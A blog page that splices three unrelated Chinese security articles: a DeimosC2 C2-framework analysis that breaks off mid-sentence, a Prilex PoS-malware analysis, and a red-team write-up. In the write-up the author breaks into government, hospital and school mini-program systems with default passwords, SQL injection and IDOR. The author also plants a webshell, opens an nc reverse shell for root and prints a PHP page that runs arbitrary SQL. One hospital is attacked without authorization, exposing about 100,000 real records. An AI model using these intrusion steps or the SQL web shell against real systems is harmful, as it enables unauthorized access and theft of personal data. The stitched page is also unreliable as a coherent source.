Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863112234

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

隨著網絡防御者對Cobalt Strike的關注度上升,攻擊者一直在尋找替代的命令與控制(CC)框架,DeimosC2就是一個替代工具。

CC系統對於滲透測試人員和安全人員來說是非常有用的協作工具。它們為所有受害設備提供了一個公共的位置,以便與之聯繫、進行控制,並允許多個用戶與相同的受害設備進行交互。當執行授權測試時,這是非常重要的,因為日誌保存在一個單獨的地方,以幫助報告。然而,越來越多的這些工具被攻擊者利用,包括開源工具和商業工具。它們的易用性和穩定性讓它們能夠長時間運行而沒有任何問題,這也是為什麼攻擊者也開始轉向這些CC平台而不是建立自己的平台的原因之一。

由於大多數注意力都集中在像Cobalt Strike這樣的成熟的商業工具上,攻擊者一直在尋找能夠提供許多相同功能的其他替代品。對於防御者來說,這意味著隨著攻擊者轉向開源CC軟件,個人和組織都更難抵禦網絡攻擊了。

開源CC軟件與其他一些開源CC框架(如Ares C2、PoshC2和TrevorC2)一樣,DeimosC2提供了經典的CC框架特性,但也提供了一個感覺和行為非常像Cobalt Strike或Metasploit Pro等商業工具的用戶界面。

到目前為止,在地下犯罪組織中,將DeimosC2作為替代方案的討論還不多,但攻擊者可能會在不久的將來將DeimosC2作為首選工具。雖然DeimosC2不是攻擊者目前尋找其他CC平台使用的最受歡迎的選擇,但研究DeimosC2,可以更好地了解是什麼原因使攻擊者想要使用這個平台作為CC框架?

什麼是DeimosC2? DeimosC2是一個開源的CC框架,於2020年6月發布。它是一個功能齊全的框架,允許多個攻擊者訪問受害計算機,為其創建有效負載並與之交互。作為一個利用後的CC框架,DeimosC2將生成需要在計算機服務器上手動執行的有效負載,這些有效負載已經通過其他手段(如社會工程、利用或暴力攻擊)被破壞。一旦部署有效負載,攻擊者將獲得與執行有效負載的用戶帳戶(管理員或普通用戶)相同的系統訪問權。注意,DeimosC2不執行任何類型的活動升級或特權升級。

利用後CC服務器很受安全人員歡迎,因為它們提供了一種方便的方法,可以與多個受害設備交互,收集記錄,並存儲對每台設備所做的事情的證據。

DeimosC2的特點DeimosC2有兩種在系統上安裝的選項:一種是不依賴於安裝Go的預構建二進製文件,另一種是可以在任何安裝了Go的系統上編譯和運行的源代碼。在這項研究中,使用了Debian虛擬機(VM)中預先構建的二進製文件,因此與使用直接從GitHub項目下載的源代碼相比,某些行為可能有所不同。

3.png

GitHub上的DeimosC2服務器二進製文件

DeimosC2結合了許多與其他cc軟件平台相同的特性。像DeimosC2這樣的CC系統的主要目的之一是幫助安全人員和滲透測試人員整合他們的基礎設施,在研究期間通過共享被破壞的主機與他人協作。考慮到這一點,DeimosC2具有多個用戶支持,為用戶提供兩種角色:管理員和用戶。下圖顯示了DeimosC2測試中的兩個用戶設置。

4.png

DeimosC2中的用戶配置截圖

因為DeimosC2也是針對安全研究人員的,所以它支持多因素身份驗證(MFA)、API、備份和恢復特性,以及將系統標記為開發系統或生產系統的能力。

設置了用戶之後,下一步是設置偵聽器,偵聽器是受害設備將接觸到的套接字和協議。 DeimosC2有五種類型的偵聽器,用戶可以為其有效負載配置這些偵聽器,到目前為止我們看到的最常見的是HTTPS和TCP。我們預計,隨著這些工具的普及,我們很可能會看到攻擊者使用DNS over HTTPS DNS over HTTPS (DoH)選項。

5.png

顯示偵聽器設置類型的截圖

一旦做出選擇(在本例中是HTTPS),就會通過輸入強制設置和某些可選設置所需的數據來配置偵聽器。用戶需要設置域名和IP地址,而密鑰和大多數高級設置是可選的。

6.png

顯示HTTPS偵聽器設置的截圖

在高級設置中,有一些CC服務器工作方式的可配置選項。在這裡,你可以找到更改受害者將通過HTTP POST使用到CC服務器的默認路徑的設置。默認情況下,這些路徑是/login、/index、/settings和/profile,但可以在創建偵聽器期間更改這些路徑。它們也可以在以後更改。然而,需要創建新的二進製文件。

配置完所有設置後,將根據設置的“編譯選項”部分中的選項創建二進製文件。這些設置決定了要創建哪些二進製文件以及是否應該對它們進行模糊處理。

創建二進製文件後,通過從偵聽器選項中選擇“interactive”,即可通過界面下載它們。

7.png

為HTTPS偵聽器創建的偵聽器的截圖

一旦下載,這些軟件就可以部署到通過其他方式(如網絡釣魚或漏洞攻擊)受到威脅的設備上。易於使用,為CC通信創建開發後二進製文件。

DeimosC2代理分析雖然許多DeimosC2示例都使用了gobfuscate(一種用於混淆Go語言編寫的程序的開源工具),但我們也發現了未混淆的示例。這使我們能夠識別出DeimosC2包的名稱,我們發現這是一個開源的後開發C2框架。也可以手動消除gobfuscate等工具實現的更改的模糊化,但這太耗時。

在DeimosC2術語中,用於感染受害者的客戶機二進製文件稱為代理。 DeimosC2利用Go語言的多平台特性為不同的體系結構(如Windows、Linux、macOS和Android)編譯代理。

代理很簡單:當執行時,它會立即嘗試聯繫硬編碼CC域或IP地址中的偵聽器,除非設置了執行時間範圍。

DeimosC2代理使用三個不同的秘鑰與偵聽器交換消息。

代理秘鑰這是標識代理的唯一秘鑰。秘鑰最初被設置為'000000000000000000000000000000000000',但是來自偵聽器的第一個響應將它更新為一個新版本,4 UUID。

AES密鑰這個256位AES密鑰是每次代理與CC偵聽器對話時隨機生成的,這用於加密與CC偵聽器交換的消息。

RSA密鑰除了AES加密之外,DeimosC2還使用RSA-2048對代理和前面解釋的AES密鑰進行加密。代理使用硬編碼的公鑰加密其他密鑰,而CC偵聽器使用其私鑰解密數據。

下圖從代理的角度說明了加密過程。

8.png

DeimosC2代理加密方案

發送到CC偵聽器的第一條消息以JSON格式包含有關受感染設備的信息,如下圖所示。

9.png

首次發送到CC偵聽器的JSON數據示例

發送的數據包括有關操作系統、已安裝的防病毒產品、主機名、登錄的用戶名、內部IP地址、文件系統上的代理路徑、可用的shell程序、進程ID (PID)和用戶特權的信息。

命令C2偵聽器響應可以包括一個或多個命令(在DeimosC2術語中稱為“jobs”)。

DeimosC2命令及其描述如下:

Shell:執行shell命令;

下載:將文件下載到CC服務器;

上傳:將文件上傳到受感染的計算機;

選項:抖動和延遲選項設置CC通信的休眠時間。 eol(我們假設它意味著生命結束)選項設置代理退出的日期,而hours選項配置通信的時間範圍;

文件瀏覽器:要求代理列出給定路徑上的所有文件和目錄;

shellInject:在代理進程中註入並運行自定義shell代碼;

模塊:執行一個模塊;

Reinit:重新連接代理,這會使代理獲得一個新的代理密鑰;

pivotTCP:啟動受感染設備中的TCP服務器,以便其他代理可以將其用作偵聽器,用於感染無法訪問互聯網的設備;

pivotJob:處理數據透視作業;

pivotKill:重置透視偵聽器列表;

Kill:卸載代理;

模塊DeimosC2通過可以在受害者的設備中執行的模塊擴展其功能, DeimosC2信息如下:

Screengrab:在受感染的設備上截屏;

Minidump:生成給定進程的用戶模式小型轉儲;

Lsadump:下載SECURITY和SYSTEM註冊表配置單元以竊取憑據;

Ntdsdump:下載Ntds.dit並且SYSTEM文件用於憑證竊取;

Samdump;下載SECURITY、SYSTEM和SAM註冊表配置單元以竊取憑據;

Shadowdump:從Linux設備下載/etc/shadow文件;

DeimosC2的模塊接口允許CC偵聽器推送新模塊並從磁盤或內存(使用代碼注入)執行它們。

網絡分析正如我們前面提到的,在使用DeimosC2時,用戶可以選擇幾種偵聽器類型,包括HTTPS、TCP和DoH。這些可能是最常見的選項,因為它們在其他CC平台上很受歡迎。由於DeimosC2的開源特性,我們能夠詳細研究這些偵聽器是如何工作的。

HTTPS偵聽器當監聽器運行HTTPS時,我們發現有一個默認的網頁被配置。通過查看GitHub頁面,我們確認它是Apache的默認Ubuntu頁面。

11.png

顯示標題的默認Apache Ubuntu頁面的Nmap結果

根據安裝過程中偵聽器的配置,我們知道該工具使用了一些路徑。查看代理源代碼的.go版本,我們可以看到已經設置並正在使用的進程。

12.png

代理使用的路徑的Go變量

變量“firsttime”用於與服務器的初始通信。從那時起,變量“checkin”將被使用。

基於此,我們可以對CC服務器是否為默認配置以及是否啟用了HTTPS檢測進行指紋識別。代理將向/login發送HTTP POST,然後定期向/index發送。 HTTPS偵聽器使用的默認端口為4443。但是,在任何其他端口上創建偵聽器時,都可以輕鬆更改此端口。在/profile上,變量“moduleloc”用於將數據從代理髮送回服務器。最後,使用“piviotloc”變量通過當前受害者傳遞數據,作為前面描述的代理piviotloc功能的一部分。

13.png

HTTPS_agent中的sendMsg函數

下圖顯示了由配置為使用HTTPS偵聽器的代理髮送的加密POST請求。默認情況下,它使用/login發送第一條消息,之後,代理默認情況下向/checkin發送請求。

14.png

由配置為使用HTTPS偵聽器的代理髮送的加密POST請求

TCP偵聽器TCP偵聽器利用Go語言函數創建數據包並將其發送到已創建的套接字。加密流程的工作原理與HTTPS加密相同。在這種情況下,唯一的區別是,整個消息的長度有助於數據的解密。為了實現這一點,它在加密數據的前面加上已加密和要發送的數據的長度。這將發送到套接字,然後發送到CC服務器。

15.png

來自TCP偵聽器Go代碼的sendMsg函數

根據我們對從TCP代理髮送到偵聽器的數據包的分析,這部分具有可預測的行為。由於uint64調用,創建的長度將是64位或8字節長的無符號整數。分組的數據部分的開始將有8個字節,用於隨後的分組長度。我們在與CC服務器的通信中觀察到的大多數信息都是這樣。每個數據包總共350字節,包含296字節的數據。

16.png

與CC服務器通信的TCP代理的數據包的數據部分(突出顯示部分)

由於我們知道數據包的數據部分前面有數據包大小,並且它是一個8字節的無符號整數,因此我們可以得出結論,數據的前8字節是處理數據包時將遵循的大小。

在本例中,有一個296字節的數據字段,如果我們去掉長度字段的8個字節,就會為來自CC服務器的命令留下288個字節。如果我們取288字節並將其轉換為十六進制系統,這很容易計算出來,結果是0x120或01 20,這就是我們在所看到的示例中0的前6個字節後發現的結果。

17.png

DeimosC2 TCP數據包結構

檢測這種行為的一種可能方法是使用snort規則來查找通信流量。下面是一個Snort規則的示例,它將檢測我們的示例數據包:

18.png

基於Snort中僅啟用此規則的測試,我們確認它將檢測來自TCP代理的通信。請注意,此規則可能需要基於特定設置進行調整,以消除誤報並提高傳感器性能。

19.png

來自Snort規則的示例警報的截圖

DoH偵聽器DoH或DNS over HTTPS偵聽器使用DNS查詢與CC服務器通信。使用DoH的優點之一是不需要與CC服務器直接通信。但是,通信會出現延遲。因此,如果需要秘密進行,通常使用DoH。 DeimosC2使用谷歌的HTTPS JSON API進行DNS。這與穀歌也支持的符合RFC 8484的DoH請求不同。這是一種更容易編程的解決方案,攻擊者很容易使用。

20.png

顯示dns.google.com/resolve用法的Go代碼截圖

在偵聽器配置中,有兩個名稱可以更改:第一次變量和簽入變量。在設置偵聽器時,它們的默認名稱分別是getname和checkin。當代理第一次接觸到偵聽器時,它將首先使用firsttime變量,之後將使用checkin變量進行心跳通信。與HTTPS和TCP不同,代理不會直接與偵聽器通信,但它將與前面提到的DNS谷歌服務通信。

21.png

用於與DoH偵聽器的初始通信的變量

在初始設置中,可以觀察到的一個查詢如下所示:

https://dns.google.com/resolve?name=0000000000.6765746e616d65.ftr.trendmicro.com

當你查看這個查詢時,有一些東西非常突出,其中一個是6765746e616d65子域,它是在簽入過程中從代碼生成的。在本例中,該值第一次接受變量,並根據其ASCII值(在我們的例子中為getname)將其內容轉換為十六進制系統。然後將其用作發送到dns.google.com的第一個子域。要對此進行解碼,需要來自代理或CC服務器本身的AES密鑰。

22.png

初始簽入過程的DoH代理代碼

我們討論過的所有這些方法都基於配置中設置為默認值的路徑和變量,在構建監聽器時很容易更改。更改默認設置有利於安全研究人員使用,幫助在網絡日誌中查找流量。然而,當攻擊者更改這些設置時,在未來的活動中發現他們將變得更加困難,因為他們會改變他們的變量來改變他們的TTP,以避免被發現或根據活動修改配置。我們提供這些信息是為了幫助防御者了解在攻擊中遇到非默認行為時DeimosC2的幕後情況。

更改默認偵聽器設置在DeimosC2用戶界面中很容易實現路徑的更改,以/login、/index、/settings和/profile的HTTPS偵聽器的默認路徑為例。要改變這一點,攻擊者只需在構建偵聽器時展開“高級選項”。

23.png

構建HTTPS偵聽器時高級選項的屏幕截圖

改變路徑很可能是攻擊者要做的事情,這將導致我們之前討論的二進製文件和通信模式中的一些內容髮生改變。例如,如果DOH代理中的getname被更改,它將不再轉到6765746e616d65,而是重定向到它被更改為的子域,轉換為十六進制系統(例如“trendmicroftr”,它在DOH查詢中看起來像7472656e646d6963726f667472)。這也是尋找這些工具變得越來越困難的原因之一,因為規避技術是內置在選項中。

每個偵聽器都可以更新特定的信息,這些信息將更改所使用的一些路徑和子域。 TCP偵聽器具有最少的選項,在編寫本文時,它可能是最容易通過網絡監控方法檢測到的偵聽器之一。

針對DeimosC2防禦網絡的建議探測CC流量對於全球的網絡防御者來說都是一個頭疼的話題。幸運的是,在對DeimosC2進行研究期間,我們發現了一些可以用於檢測與服務器通信的代理的存在的技術。

雖然有些網絡活動是動態的,例如對URL路徑的檢查(因為在設置偵聽器時,攻擊者可以更改這些路徑),但其他活動是可預測的。例如,TCP偵聽器通信的前8個字節可以用於在入侵檢測系統(IDS)中使用提供的Snort規則進行檢測。

在DoH示例中,如果防御者在正常業務操作中沒有使用利用DoH的JSON版本的服務,建議阻止或至少記錄HTTPS到dns[.]google。目前大多數利用DoH的DeimosC2示例都使用Google提供的DoH的JSON版本,這將使該代理無法完全工作。

然而,重要的是要記住DeimosC2是一個利用後的CC框架,如果你在你的網絡上看到它的流量,那麼你已經被攻擊了,這只是攻擊者設置持久性。如果你在系統中檢測到DeimosC2,你應該意識到可能還部署了其他你可能不知道的攻擊工具。假設你已經被攻擊了,這也提供了額外的防禦選擇:

防御者應該定期監測出站通信,特別是,它們應該標記任何發送的數據量比正常監控

sl-malicious-pos-terminal-payment-transaction-phone-1200x600.jpg

ATM 惡意軟件組織Prilex自2014 年起就開始活躍,不過在2016 年,該組織決定放棄ATM 業務,將所有註意力集中在PoS 系統。很快,他們採用了惡意軟件即服務模式,並將攻擊範圍擴大至巴西以外的地方,以模塊化的方式創建了一套包括後門、上傳程序和竊取程序的工具。

Prilex PoS惡意軟件從一個簡單的內存抓取器演變為非常先進和復雜的惡意軟件,直接處理PIN pad硬件協議而不是使用更高級別的API,在目標軟件中進行實時修補,掛鉤操作系統庫,擾亂回复、流量和端口,以及從基於重放的攻擊切換到為其GHOST 交易生成密碼,即使是使用CHIP 和PIN 技術保護的信用卡。

在2016 年的狂歡節期間,一家巴西銀行意識到他們的ATM 已被黑客入侵,其中的所有現金都被盜了。根據事後報告,策劃此次攻擊的攻擊者能夠在同一起事件中感染屬於一家銀行的1000多台機器,這使他們得以在巴西複製2.8萬張獨特的信用卡。

攻擊者沒有進入ATM的物理權限,但他們能夠通過一個包含4G路由器和樹莓派的DIY設備訪問銀行的網絡。通過打開後門,他們能夠劫持該機構的無線連接,並隨意攻擊ATM。在獲得初始網絡訪問權限後,攻擊者將運行網絡識別過程以查找每個ATM 的IP 地址。有了這些信息,攻擊者將啟動橫向移動階段,使用默認的Windows 憑據,然後在所需的系統中安裝定制的惡意軟件。後門將允許攻擊者通過啟動惡意軟件界面並輸入攻擊者提供的代碼來清空ATM 套接字,每個被黑客攻擊的ATM的代碼都是自定義的。

1.png

感染了Prilex 的ATM

攻擊中使用的惡意軟件名為Prilex,它是通過使用特權信息和ATM 網絡的高級知識從零開始開發的。該惡意軟件能夠從插入受感染ATM 的信用卡和借記卡上的磁條中捕獲信息。之後,這些有價值的信息可用於克隆銀行卡並從銀行客戶那裡竊取更多資金。

演變成PoS 惡意軟件的過程Prilex 已經從專注於ATM 的惡意軟件演變為針對巴西國內的支付系統的模塊化惡意軟件,即所謂的EFT/TEF 軟件。它們的ATM 和PoS 版本之間有許多相似之處。他們的第一個PoS 惡意軟件於2016 年10 月在野外被發現。前兩個樣本的編譯日期為2010/2011,如下圖所示。但是,研究人員認為由於不正確的系統日期和時間設置而設置了無效的編譯日期。在後來的版本中,時間戳對應於發現樣本的時間。我們還注意到,在2022 年開發的軟件中,開發人員開始使用Subversion 作為版本控制系統。

2.png

Prilex PoS 惡意軟件的版本:2022 年的3 個新版本

如上所示,Prilex 在2020 年非常活躍,但在2021 年突然消失,並在2022 年重新出現並發布了三個新變體。

Prilex的PoS版本是用Visual Basic編寫的,但本文中描述的竊取模塊是用p-code編寫的。簡而言之,這是Visual Basic 程序中的高級指令與CPU 執行的低級本機代碼之間的中間步驟。 Visual Basic在運行時將p-code語句轉換為本機代碼。

Prilex 並不是唯一起源於巴西的PoS 惡意軟件,研究人員發現它與原來的Trojan-Spy.Win32.SPSniffer 存在某種聯繫,兩個家族都能夠攔截PIN pad的信號,但使用的方法不同。

PIN pad配備硬件和安全功能,以確保在有人試圖篡改設備時擦除安全密鑰。事實上,PIN在進入設備時使用各種加密方案和對稱密鑰進行加密。大多數情況下,這是一個三重DES編碼器,使它很難破解PIN。

但是有一個問題:這些設備總是通過USB 或串行端口連接到計算機,這些端口與EFT 軟件進行流量。原來的PIN pad設備使用過時和弱加密方案,使得惡意軟件很容易安裝USB 或串行端口嗅探器來捕獲和解密PIN pad和受感染系統之間的流量。這就是SPSniffer 獲取信用卡數據的方式。有時流量甚至沒有加密。

3.png

SPSniffer:允許捕獲非加密流量的串口嗅探器

Prilex 用於捕獲信用卡數據的主要方法是使用PoS 系統庫中的補丁,允許惡意軟件收集軟件傳輸的數據。惡意軟件將尋找一組特定的可執行文件和庫的位置,以便應用補丁,從而覆蓋原始代碼。安裝補丁後,惡意軟件會從TRACK2 收集數據,例如帳號和到期日期,以及執行欺詐交易所需的其他持卡人信息。

初始感染載體Prilex 不是一種廣泛傳播的惡意軟件,因為它不是通過電子郵件垃圾郵件活動傳播的。它具有高度針對性,通常通過社會工程傳播,例如,目標企業可能會接到自稱是“技術人員”的電話,他堅持認為該公司需要更新其PoS軟件。假冒技術人員可能會親自訪問目標,或要求受害者安裝AnyDesk,並為其提供遠程訪問權限,以安裝惡意軟件。

4.png

PoS 供應商關於Prilex 社會工程攻擊的警告

使用EMV標準的漏洞發起攻擊巴西於1999 年開始使用EMV,如今,該國發行的幾乎所有卡都支持芯片。芯片內部有一個基於java的小應用程序,可以很容易地操作以創建一張“金票(golden ticket)”卡,該卡在大多數銷售點系統中都有效。這使攻擊者能夠升級他們的工具集,使他們能夠以這種新技術為特色創建自己的卡片。

最初版本的Prilex能夠執行重放攻擊,在這種攻擊中,它們沒有破壞EMV協議,而是利用了糟糕的實現。由於支付運營商未能執行EMV 標準要求的某些驗證,攻擊者可以利用該過程中的這一漏洞為自己謀取利益。

在這種攻擊中,欺詐者通過卡片網絡推送常規磁條交易作為EMV購買,因為他們控制著支付終端,並有能力操縱通過該終端進行交易的數據字段。後來他們轉而從真正的基於EMV 的芯片卡交易中獲取流量。攻擊者可以將被盜的卡數據插入交易流程,同時動態修改商家和收購方的銀行賬戶。

至少從2014年起,巴西網絡攻擊者已經成功發起重放攻擊,比如2019 年對一家德國銀行的攻擊,該銀行損失了150 萬歐元,Prilex團伙聲稱對此負責。從名稱字段和工具的功能來看,他們很可能使用了他們在黑市上銷售的軟件。

為了使用克隆的信用卡自動進行攻擊,Prilex 攻擊者使用了Xiello 等工具,這是研究人員在2020 年通過遙測技術發現的。該工具允許網絡攻擊者在進行欺詐性購買時批量使用信用卡。它將購買數據發送給信用卡購買者,然後由他們批准或拒絕交易。

5.png

Prilex 用於自動化交易的Xiello 工具

隨著支付行業和信用卡發行商修復EMV 中的漏洞被修復,重放攻擊變得過時且無效,這促使Prilex 團伙採用其他新的信用卡欺詐方式。

從“Replay”技術到“Ghost”技術的演進最新版本的Prilex在攻擊方式上與之前的版本有所不同:該組織已從重放攻擊轉變為使用受害者卡在店內支付過程中生成的密碼進行欺詐交易,攻擊者將其稱為“GHOST 交易”。

在這些攻擊中,Prilex 樣本作為RAR SFX 可執行文件安裝在系統中,將所有必需的文件提取到惡意軟件目錄並執行安裝腳本(VBS 文件)。從已安裝的文件中,我們可以突出顯示該活動中使用的三個模塊:一個後門,在這個版本中除了用於流量的C2服務器外沒有改變;一個竊取模塊和一個上傳模塊。

6.png

維護持久性的Prilex方法

竊取模塊負責攔截銷售點軟件和用於在交易期間讀取卡的PIN pad之間的所有流量。一旦識別出正在運行的交易,惡意軟件將攔截並修改交易內容,以便能夠捕獲卡信息並向受害者的卡請求新的EMV 密碼。這些密碼隨後用於GHOST 交易。

7.png

用於解析發送/接收的密碼鍵盤消息的方法

為了針對一個特定的進程,攻擊者將對機器進行初步篩選,以檢查它是否是具有足夠信用卡交易的有趣目標,並確定他們將針對的流程。

進程被識別後,惡意軟件將繼續安裝攔截交易信息所需的掛鉤。由於PoS 軟件和讀卡器之間的流量是通過COM 端口進行的,因此惡意軟件會在目標進程內安裝許多Windows API 的掛鉤,旨在根據需要監控和更改數據。有趣的是,Prilex 不是為掛鉤程序分配內存,而是在模塊內存中找到空閒空間,這種技術稱為代碼洞穴,這使得一些安全解決方案很難檢測到受感染系統中的威脅。

8.png

添加到CloseHandle進程中的掛鉤代碼

從交易中捕獲的所有信息都被保存到一個加密文件中,該文件位於惡意軟件配置之前設置的目錄中。這些文件隨後會被發送到惡意軟件C2服務器上,允許網絡攻擊者通過以虛假公司名義註冊的欺詐性PoS 設備進行交易。

9.png

捕獲的信用卡數據稍後將被發送到運營商服務器

以前的版本監控交易是為了獲取原始交易生成的密碼,然後使用收集的密碼執行重放攻擊。在這種情況下,密碼具有相同的ATC(應用程序交易計數器),允許通過重複使用ATC 以及密碼內部的日期與提交日期不匹配的事實來識別欺詐交易,因為欺詐交易是在較晚的時間提交的。

在較新版本的Prilex 執行的GHOST 攻擊中,它會在捕獲交易後請求新的EMV 密碼。然後,這些密碼將通過其中一種網絡犯罪工具用於欺詐交易,其輸出日誌如下所示。

10.png

上表顯示了從惡意軟件收集的數據。它包含由卡生成的授權請求密碼(ARQC),現在應該得到發卡機構的批准。剖析響應(80128000AA5EA486052A8886DE06050A03A4B8009000)後,我們得到以下信息。

11.png

卡上應用了多個應用程序密碼,其中交易金額(藍色)、ATC(綠色)和生成的密碼(紅色)在每次交易中都會發生變化。

12.png

簡而言之,這是整個Prilex 方案:

13.png

Prilex:從感染到套現

後門模塊後門有許多命令,除了內存掃描程序常見的內存掃描之外,較老的(ATM) Prilex版本還提供了一個命令,用於調試進程和查看其內存。這很可能被用於了解目標軟件行為並對惡意軟件或環境進行調整以執行欺詐交易。舊版本的Prilex 對特定軟件庫進行了修補,而較新的示例不再依賴特定軟件,而是使用Windows api來執行它的工作。

14.png

Prilex 調試器

下面是在ATM版本的Prilex中使用的命令列表,其中包括調試:

Reboot,SendKeys,ShowForm,Inject,UnInject,HideForm,Recursos,GetZip,SetStartup,PausaProcesso,LiberaProcesso,Debug,SendSnapShot,GetStartup,CapRegion,CapFerro,KillProcess,Shell,Process,GetModules,GetConfi g,StartSendScreen,StopSendScreen,ReLogin,StartScan,GetKey,SetConfig,RefreshScreen,Download,TakeRegions,EnviarArquivo,ScanProcessStart,ScanProcessStop,StartRegiao,StopRegiao,StartDownload,StopDownload.

即使在PoS 版本中添加了一組新命令,我們仍然可以發現一些來自ATM 攻擊的命令仍在使用中。許多可用的命令都是通用的,這允許攻擊者收集有關受感染機器的信息。

15.png

上傳模塊

該模塊負責檢查配置文件中CABPATH參數指定的目錄,並將所有被盜交易生成的cab文件發送到服務器,這些文件是通過HTTP POST 請求發送的。模塊使用的終端也在上傳器配置文件中提到。

16.png

該模塊的使用表明該組織的操作結構發生了變化,因為在之前的版本中,收集到的信息被發送到服務器,該服務器的地址被硬編碼為竊取代碼,並且該模塊使用與後門相同的協議。該上傳程序允許操作人員根據配置文件中的指示設置所收集信息的終端,從分析的樣本來看,可以看到該過程涉及不同的基礎設施。

17.png

捕獲的數據存儲在上傳器C2 中

惡意軟件即服務早2019年,一家聲稱與Prilex有關聯的網站開始提供據稱是該組織創建的惡意軟件包。研究人員認為這是不可能的,因為該網站可能由試圖冒充該組織的模仿者運營,並利用Prilex 多年來贏得的聲譽來賺錢。

在撰寫本文時,該網站仍在運行中。

18.png

據稱是Prilex PoS 套件的要價是3500 美元

19.png

該網站稱其所有者過去曾與俄羅斯網絡攻擊者合作,不過該說法還無法被驗證。值得一提的是,研究人員在地下渠道發現了通過Telegram 聊天銷售的Prilex 惡意軟件包被引用,價格在10000 歐元到13000 美元之間。研究人員無法確認所提供的是真正的Prilex 惡意軟件。

同時,Prilex 現在使用Subversion 清楚地表明他們正在與多個開發人員合作。

總結Prilex 組織非常擅長對信用卡和借記卡交易發起攻擊,並開髮用於支付處理的軟件。這使攻擊者能夠不斷更新他們的工具,以找到繞過授權策略的方法,從而允許他們執行攻擊。

經過多年的活動,該組織已經迭代了很多攻擊技術。但是,它總是濫用與PoS 軟件相關的流程來攔截和修改與PIN pad的流量。考慮到這一點,研究人員強烈建議PoS 軟件開發人員在其模塊中實施自我保護技術。

0x00 前言

刚结束某地HVV,小程序作为低成本易用的信息化系统,成为HVV新型重点突破对象。以下案例均来自于小程序,供大家学习。

0x01 案例一 某政务系统

1.弱口令进入后台

点击小程序,进入公民办事,抓到小程序域名,访问直接是管理员后台,如下页面即为Fastadmin框架 。

image-20230804233808809

一直有个坑,登录一直显示口令无效,在我要放弃的时候,点击返回上一步提醒我,您已登录,我纳闷了,发现该系统登陆操作后token会刷新,导致下一次登录必须使用上一次token,否则口令无效。因此应该是网络或系统本身有延时,导致未成功使用正确token进行登陆操作,当发现这个问题的时候我已经admin/123456登进了后台。

image-20230804233928487

内包含数据近20000条公民信息,以及管理员账户几百个,且所有管理员账户中的账户名密码均为admin/123456。与地级市HVV | 未授权访问合集中的案例四系统情况类似。(码死)

image-20230804234620409

2.到处都是SQL注入

前台业务处如下包,debug没有关导致爆出来数据库账户名密码,这个SQL注入太明显了,但此时我处在数据库账密的喜悦中没有搞SQL注入,可是这个数据库不对外,只能本地连接,烦死了。

image-20230804234900245

image-20230804235223957

后台查看管理员的时候存在延时注入

image-20230804235333429

image-20230804235520250

3.命令执行拿下服务器和数据库

既然是fastadmin,那有很多拿shell的方法,这次是用在线命令插件漏洞写入PHP Webshell,该漏洞只在1.1.0可用。

但是这个系统是二开的,根本找不到插件的地方,在网上搜罗了一下拼接找到插件页面。

目录为:/addon?ref=addtabs

那该插件的目录就应该是/addon/command?ref=addtabs,但是显示该页面不存在,我以为路由没设置,把这个禁了,直到队友在一个文章发现直接command即可访问该插件,即目录为/command?ref=addtabs

image-20230805000548485

点击一键生成API文档,文件为php,标题写为木马内容即可,测试只有冰蝎马可以,以前有类似案例。

image-20230805000747580

连接木马成功

image-20230805000951036

通过传大马中的nc提权,反弹shell到云服务器拿到root权限。

image-20230805001343057

大马执行sql语句会报错,乱码,很烦。

数据库账户密码我还记着呢,我通过自己写一个sql执行页面的php文件来连接数据库。证明我拿下数据库权限。

image-20230805001445813

代码如下:


<html>
<head>
    <title>执行MySQL语句</title>
</head>
<body>
    <h1>执行MySQL语句</h1>

    <form method="POST" action="">
        <textarea name="sql_statement" rows="5" cols="50" placeholder="请输入MySQL语句"></textarea>
        <br>
        <input type="submit" value="执行">
    </form>

    <?php
    // 检查是否提交了表单
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        // 获取用户输入的MySQL语句
        $sql_statement = $_POST['sql_statement'];

        // 连接MySQL数据库
        $host = 'localhost';
        $username = '';
        $password = '';
        $database = '';

        $connection = mysqli_connect($host, $username, $password, $database);

        // 执行MySQL查询
        $result = mysqli_query($connection, $sql_statement);

        // 检查查询结果
        if ($result) {
            // 回显查询结果
            echo '<h2>查询结果:</h2>';
            while ($row = mysqli_fetch_assoc($result)) {
                echo '';
                print_r($row);
                echo '';
            }
        } else {
            // 显示错误消息
            echo '<h2>错误:</h2>';
            echo '<p>' . mysqli_error($connection) . '</p>';
        }

        // 关闭数据库连接
        mysqli_close($connection);
    }
    ?>

</body>
</html>

0x02 案例二 某县医院数据库

1.SQL注入拿下DBA

该医院的SQL注入处于公众号挂号处,当我登录进去点击挂号记录,抓到一个带病人id的包。

image-20230805001938526

加了个单引号,出现报错order by

image-20230805002523985

直接SQLmap跑发现跑不出来,但注入确实存在。发现asp.net框架,说明对方系统为windows。

image-20230805002955771

分别指定数据库MySQL,Oracle,MSSQL。终于在MSSQL时跑出注入,且为DBA权限。

image-20230805003357942

想到xp_cmdshell可以执行命令,但可惜这是HIS,人家做了防护,我无论怎么设置都无法执行命令,放弃换目标。

0x03 案例三 某中学访客系统

1.未授权+信息泄露

打开小程序抓包,直接抓到了所有被访人的信息,一个接口未授权访问。

image-20230805003829804

还没登录就这样,登进去还了得。

登进去并添加了一个访问申请image-20230805004820411

在查看自己的访问申请记录时抓包

image-20230805004432163

抓到如下链接:app/visitor/getVisitorInfo?viId=1,遍历可得到访客信息几百条,以及访客记录等。认定为平行越权,最后发现甚至是未授权访问,没有权限验证。

image-20230805004401655

0x04 案例四 我打偏了

这个案例比较好笑,是我在搜小程序,它弹出了差一个字的小程序,没仔细看就开始打,也是一个县医院。

这应该是疫情期间专门为核酸检测预约做的小程序。

1.平行越权+信息泄露

image-20230805005119179

登录的时候如果身份证姓名不匹配是无法通过验证的,说明里面的身份证信息都是真实的,登进来的习惯性找带用户id的功能,点击就诊人列表抓包。

image-20230805005822924

查到了自己的手机,身份证,名字,性别

image-20230805010022930

修改id可以查看其他人的信息,共计十几万条,妥妥的平行越权。

2.平行越权的SQL注入

习惯性加个单引号,直接报错,页面显示SQL错误,这不是对应上了嘛,edu-SQL注入案例分享最后一条总结,平行越权大概率存在SQL注入。但是我这打歪了,没有授权,就打住放弃了,后续移交平台整改。

image-20230805010332476



原文链接:   https://forum.butian.net/share/2400

